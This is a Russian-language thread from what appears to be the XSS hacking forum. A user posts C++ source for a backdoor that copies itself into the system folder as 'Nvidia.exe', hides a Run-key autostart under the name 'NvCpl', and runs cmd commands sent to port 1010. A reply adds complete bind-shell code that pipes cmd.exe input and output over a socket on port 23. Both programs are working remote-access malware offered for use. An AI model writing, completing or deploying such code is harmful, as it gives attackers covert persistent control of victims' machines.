• XSS.stack #1 – первый литературный журнал от юзеров форума

вывод результатов команд cmd?

S.S.D.D.

HDD-drive
Пользователь
Регистрация
19.11.2005
Сообщения
22
Реакции
0
Такой вопрос по С++

Есть сорец:
Код:
#include <winsock2.h>
#include <resource.h>

#pragma comment(linker,"/MERGE:.rdata=.text")
#pragma comment(linker,"/FILEALIGN:512 /SECTION:.text,EWRX /IGNORE:4078")
#pragma comment(linker,"/ENTRY:WinMain")



int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int){ 

	char str[256],sysbuf[256];
	GetModuleFileName(GetModuleHandle(NULL),str,256);

	GetSystemDirectory(sysbuf,256);
	strcat(sysbuf,"\\Nvidia.exe");//имя зверя
	CopyFile(str,sysbuf,true);

	HKEY hk;
	RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hk);
	RegSetValueEx(hk,"NvCpl",0,REG_SZ,(LPBYTE)sysbuf, strlen(sysbuf) + 1);
	RegCloseKey(hk);

	WSADATA wsaData;
	WSAStartup(MAKEWORD(2,2), &wsaData);

    SOCKET listet_Sock = socket(AF_INET,SOCK_STREAM,0);
	SOCKADDR_IN  addr_Sock;

	addr_Sock.sin_family = AF_INET;
	addr_Sock.sin_addr.s_addr = htonl(INADDR_ANY);
	addr_Sock.sin_port = htons(1010);//порт

	if(bind(listet_Sock,(LPSOCKADDR)&addr_Sock, sizeof(struct sockaddr))) return 0;
	if(listen(listet_Sock, 1)) return 0;

	int i;
	char type[2], buf[126];
	while(true){
  SOCKET hack_Sock = accept(listet_Sock,NULL,NULL);
  while(true){
  	i = recv(hack_Sock, type, 2, 0),recv(hack_Sock, buf, 126, 0);
            if ((i== SOCKET_ERROR)||(i == 0)) break;
  	if (type[0] == 'e') 
  	{
    char buf_command[524] = "/c ";
    strcat(buf_command,buf);
    ShellExecuteA(NULL, "open", "cmd.exe", buf_command, NULL, SW_SPOILER);
  	}
             }
  shutdown(hack_Sock,1);
  closesocket(hack_Sock);
	}

	WSACleanup();
	return 0;
}

Понимаю, что примитивно, но все же. Как мне организовать вывод результатов команд cmd? Т.е. я коннектюсь, передаю команды в виде e "dir", а вывод результатов не доделан.
 
S.S.D.D.
1 Способ:
ShellExecuteA(NULL, "open", "cmd.exe", buf_command, NULL, SW_SPOILER);
Запускай cmd с параметром >> text.txt и результаты всех команд будут писаться в этот файл, он будет лежать в папке с программой.
2 способ:
Используй пайпы
Это гораздо лучше, ибо пайп порождает процесс и никаких файлов ничего не создаётся, просто появляется процесс cmd.exe
 
#include <windows.h>
#include <winsock.h>
#pragma optimize("gsy",on)
#pragma comment(linker,"/RELEASE")
#pragma comment(linker,"/ENTRY:EntryPoint")
#pragma comment(linker,"/MERGE:.rdata=.data")
#pragma comment(linker,"/MERGE:.text=.data")
#pragma comment(linker,"/MERGE:.reloc=.data")
#pragma comment(linker,"/SECTION:.text,EWR /IGNORE:4078")
#pragma comment(linker,"/FILEALIGN:0x200")
#pragma comment(linker,"/subsystem:windows")

const int port = 23;

void Shell(int port)
{
WSADATA wsadata;
SOCKET shellsock, sendsock;
SOCKADDR_IN sin;
HANDLE hPipeRead1, hPipeWrite1, hPipeRead2, hPipeWrite2;
char szBuffer[4096], szCmdPath[MAX_PATH];
int i, count = 0;
DWORD lpNumberOfBytesRead;
SECURITY_ATTRIBUTES secu =
{
(DWORD)sizeof(SECURITY_ATTRIBUTES), NULL, TRUE
};
STARTUPINFO sInfo;
PROCESS_INFORMATION pInfo;
WSAStartup(MAKEWORD(2,2), &wsadata);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = 0;
sin.sin_port = htons(port);
i = sizeof (sin);
shellsock = socket (AF_INET, SOCK_STREAM, 0);
bind(shellsock, (SOCKADDR *)&sin, sizeof(sin));
listen(shellsock, 0);
sendsock = accept(shellsock,(SOCKADDR *)&sin, &i);
if (sendsock == INVALID_SOCKET) ExitProcess(0);
CreatePipe(&hPipeRead1, &hPipeWrite1, &secu, 0);
CreatePipe(&hPipeRead2, &hPipeWrite2, &secu, 0);
GetEnvironmentVariable("ComSpec", szCmdPath, sizeof(szCmdPath));
memset(&sInfo, 0, sizeof(sInfo));
memset(&pInfo, 0, sizeof(pInfo));
sInfo.cb=sizeof (STARTUPINFO);
sInfo.dwFlags=STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES;
sInfo.wShowWindow=SW_SPOILER;
sInfo.hStdInput = hPipeRead2;
sInfo.hStdOutput = hPipeWrite1;
sInfo.hStdError = hPipeWrite1;
CreateProcess(NULL, szCmdPath, &secu, &secu, TRUE, 0, NULL, NULL, &sInfo, &pInfo);
while (sendsock != SOCKET_ERROR)
{
Sleep (100);
memset(szBuffer, 0, sizeof(szBuffer));
PeekNamedPipe(hPipeRead1, NULL, NULL, NULL, &lpNumberOfBytesRead, NULL);
while (lpNumberOfBytesRead)
{
Sleep (200);
if (!ReadFile(hPipeRead1, szBuffer, sizeof(szBuffer), &lpNumberOfBytesRead, NULL)) break;
else send(sendsock, szBuffer, lpNumberOfBytesRead, 0);
PeekNamedPipe(hPipeRead1, NULL, NULL, NULL, &lpNumberOfBytesRead, NULL);
}
Sleep (200);
i = recv (sendsock,szBuffer,sizeof(szBuffer),0);
if (sendsock == 0)
{
count++;
if (count > 1) break;
}
if (!strstr(szBuffer, "exit") == 0)
{
closesocket(sendsock);
closesocket(shellsock);
TerminateProcess(pInfo.hProcess, 0);
ExitProcess(0);
}
else WriteFile(hPipeWrite2, szBuffer, i, &lpNumberOfBytesRead, 0);
}
closesocket(sendsock);
closesocket(shellsock);
TerminateProcess(pInfo.hProcess, 0);
ExitProcess(0);
return;
}

int main(int argc, char* argv[])
{
Shell(port);
return 0;
}
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх